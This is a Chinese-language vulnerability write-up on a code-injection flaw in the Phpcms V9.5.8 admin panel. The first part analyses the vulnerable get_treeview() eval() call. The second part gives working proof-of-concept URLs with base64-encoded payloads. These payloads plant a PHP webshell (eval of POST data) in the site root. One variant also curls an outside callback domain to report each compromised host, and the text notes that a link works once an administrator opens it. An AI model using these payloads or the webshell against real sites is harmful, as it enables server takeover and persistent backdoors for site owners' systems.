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Phpcms V9.5.8 后台getshell

一、漏洞简介

二、漏洞影响

Phpcms V9.5.8

三、复现过程

漏洞分析

代码位于/phpcms/modules/content/content.php 第472-532行

public function public_categorys() {
    $show_header = '';
    $cfg = getcache('common','commons');
    $ajax_show = intval($cfg['category_ajax']);
    $from = isset($_GET['from']) && in_array($_GET['from'],array('block')) ? $_GET['from'] : 'content';
    $tree = pc_base::load_sys_class('tree');
    if($from=='content' && $_SESSION['roleid'] != 1) { 
        $this->priv_db = pc_base::load_model('category_priv_model');
        $priv_result = $this->priv_db->select(array('action'=>'init','roleid'=>$_SESSION['roleid'],'siteid'=>$this->siteid,'is_admin'=>1));
        $priv_catids = array();
        foreach($priv_result as $_v) {
            $priv_catids[] = $_v['catid'];
        }
        if(empty($priv_catids)) return '';
    }
    $categorys = array();
    if(!empty($this->categorys)) {
        foreach($this->categorys as $r) {
            if($r['siteid']!=$this->siteid ||  ($r['type']==2 && $r['child']==0)) continue;
            if($from=='content' && $_SESSION['roleid'] != 1 && !in_array($r['catid'],$priv_catids)) {
                $arrchildid = explode(',',$r['arrchildid']);
                $array_intersect = array_intersect($priv_catids,$arrchildid);
                if(empty($array_intersect)) continue;
            }
            if($r['type']==1 || $from=='block') {
                if($r['type']==0) {
                    $r['vs_show'] = "<a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=".$r['catid']."&type=show' target='right'>[".L('content_page')."]</a>";
                } else {
                    $r['vs_show'] ='';
                }
                $r['icon_type'] = 'file';
                $r['add_icon'] = '';
                $r['type'] = 'add';
            } else {
                $r['icon_type'] = $r['vs_show'] = '';
                $r['type'] = 'init';
                $r['add_icon'] = "<a target='right' href='?m=content&c=content&menuid=".$_GET['menuid']."&catid=".$r['catid']."' onclick=javascript:openwinx('?m=content&c=content&a=add&menuid=".$_GET['menuid']."&catid=".$r['catid']."&hash_page=".$_SESSION['hash_page']."','')><img src='".IMG_PATH."add_content.gif' alt='".L('add')."'></a> ";
            }
            $categorys[$r['catid']] = $r;
        }
    }
    if(!empty($categorys)) {
        $tree->init($categorys);
            switch($from) {
                case 'block':
                    $strs = "<span class='\$icon_type'>\$add_icon<a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=\$catid&type=list' target='right'>\$catname</a> \$vs_show</span>";
                    $strs2 = "<img src='".IMG_PATH."folder.gif'> <a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=\$catid&type=category' target='right'>\$catname</a>";
                break;

                default:
                    $strs = "<span class='\$icon_type'>\$add_icon<a href='?m=content&c=content&a=\$type&menuid=".$_GET['menuid']."&catid=\$catid' target='right' onclick='open_list(this)'>\$catname</a></span>";
                    $strs2 = "<span class='folder'>\$catname</span>";
                    break;
            }
        $categorys = $tree->get_treeview(0,'category_tree',$strs,$strs2,$ajax_show);
    } else {
        $categorys = L('please_add_category');
    }
    include $this->admin_tpl('category_tree');
    exit;
}

复制 文本

在当前函数开始下个断点

1.png2.png

跟到526行:

$categorys = $tree->get_treeview(0,'category_tree',$strs,$strs2,$ajax_show);

复制 文本

进入了get_treeview()函数,跟入进去,

函数位于 /phpcms/libs/classes/tree.class.php 第206-239行。

* @param $myid 表示获得这个ID下的所有子级
* @param $effected_id 需要生成treeview目录数的id
* @param $str 末级样式
* @param $str2 目录级别样式
* @param $showlevel 直接显示层级数,其余为异步显示,0为全部限制
* @param $style 目录样式 默认 filetree 可增加其他样式如'filetree treeview-famfamfam'
* @param $currentlevel 计算当前层级,递归使用 适用改函数时不需要用该参数
* @param $recursion 递归使用 外部调用时为FALSE
function get_treeview($myid,$effected_id='example',$str="<span class='file'>\$name</span>", $str2="<span class='folder'>\$name</span>" ,$showlevel = 0 ,$style='filetree ' , $currentlevel = 1,$recursion=FALSE) {
     $child = $this->get_child($myid);
     if(!defined('EFFECTED_INIT')){
        $effected = ' id="'.$effected_id.'"';
        define('EFFECTED_INIT', 1);
     } else {
        $effected = '';
     }
     $placeholder =  '<ul><li><span class="placeholder"></span></li></ul>';
     if(!$recursion) $this->str .='<ul'.$effected.'  class="'.$style.'">';
     foreach($child as $id=>$a) {

         @extract($a);
         if($showlevel > 0 && $showlevel == $currentlevel && $this->get_child($id)) $folder = 'hasChildren'; //如设置显示层级模式@2011.07.01
         $floder_status = isset($folder) ? ' class="'.$folder.'"' : '';     
         $this->str .= $recursion ? '<ul><li'.$floder_status.' id=\''.$id.'\'>' : '<li'.$floder_status.' id=\''.$id.'\'>';
         $recursion = FALSE;
         if($this->get_child($id)){
             eval("\$nstr = \"$str2\";");
             $this->str .= $nstr;
             if($showlevel == 0 || ($showlevel > 0 && $showlevel > $currentlevel)) {
                 $this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE);
             } elseif($showlevel > 0 && $showlevel == $currentlevel) {
                 $this->str .= $placeholder;
             }
         } else {
             eval("\$nstr = \"$str\";");
             $this->str .= $nstr;
         }
         $this->str .=$recursion ? '</li></ul>': '</li>';
     }
     if(!$recursion)  $this->str .='</ul>';
     return $this->str;
 }

复制 文本

这里有个判断:

if($this->get_child($id))

3.png

当第一次执行为ture的时候,还是会再次执行get_treeview的内容

$this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE);

第二次执行的时候$myid由0变成了1,

这时候的$newarr为空,

if就不执行,转而执行elseif和else,而$str包含着menuid的值,也就是${@phpinfo()} ,这时候eval() 就执行了php代码。

漏洞复现

常规poc:https://www.0-sec.org/index.php?m=content&c=content&a=public_categorys&menuid=${@phpinfo()}

进阶版poc:https://www.0-sec.org/index.php?m=content&c=content&a=public_categorys&menuid=${@(assert(base64_decode(ZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycpOw)))}

密码1,这要管理员权限才能代码执行,修改下payload,管理员一访问就在当前域名的首页路径下生成shell。

print_r(base64_encode("fputs(fopen('shell.php','w'),'<?php eval(\$_POST[2]);');system('curl '.\$_SERVER[\"SERVER_NAME\"].'www.0-sec.org');"));

还有另一种payload,会回显的提醒。自动curl请求你的域名,然后回显网站url

先输出base64的地址,然后在替换下面的字符串> https://www.0-sec.org/index.php?m=content&c=content&a=public_categorys&menuid=(${@(assert(eval(base64_decode(ZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbMl0pOycpO3N5c3RlbSgnY3VybCAnLiRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLic0MzIxLm5yY3VmOS5jZXllLmlvJyk7))))})

这个字符串有几个点提醒下自己,assert()函数执行执行一句php代码,所以在assert前面加个eval,执行多条语句。

参考链接

https://www.mrwu.red/web/2723.html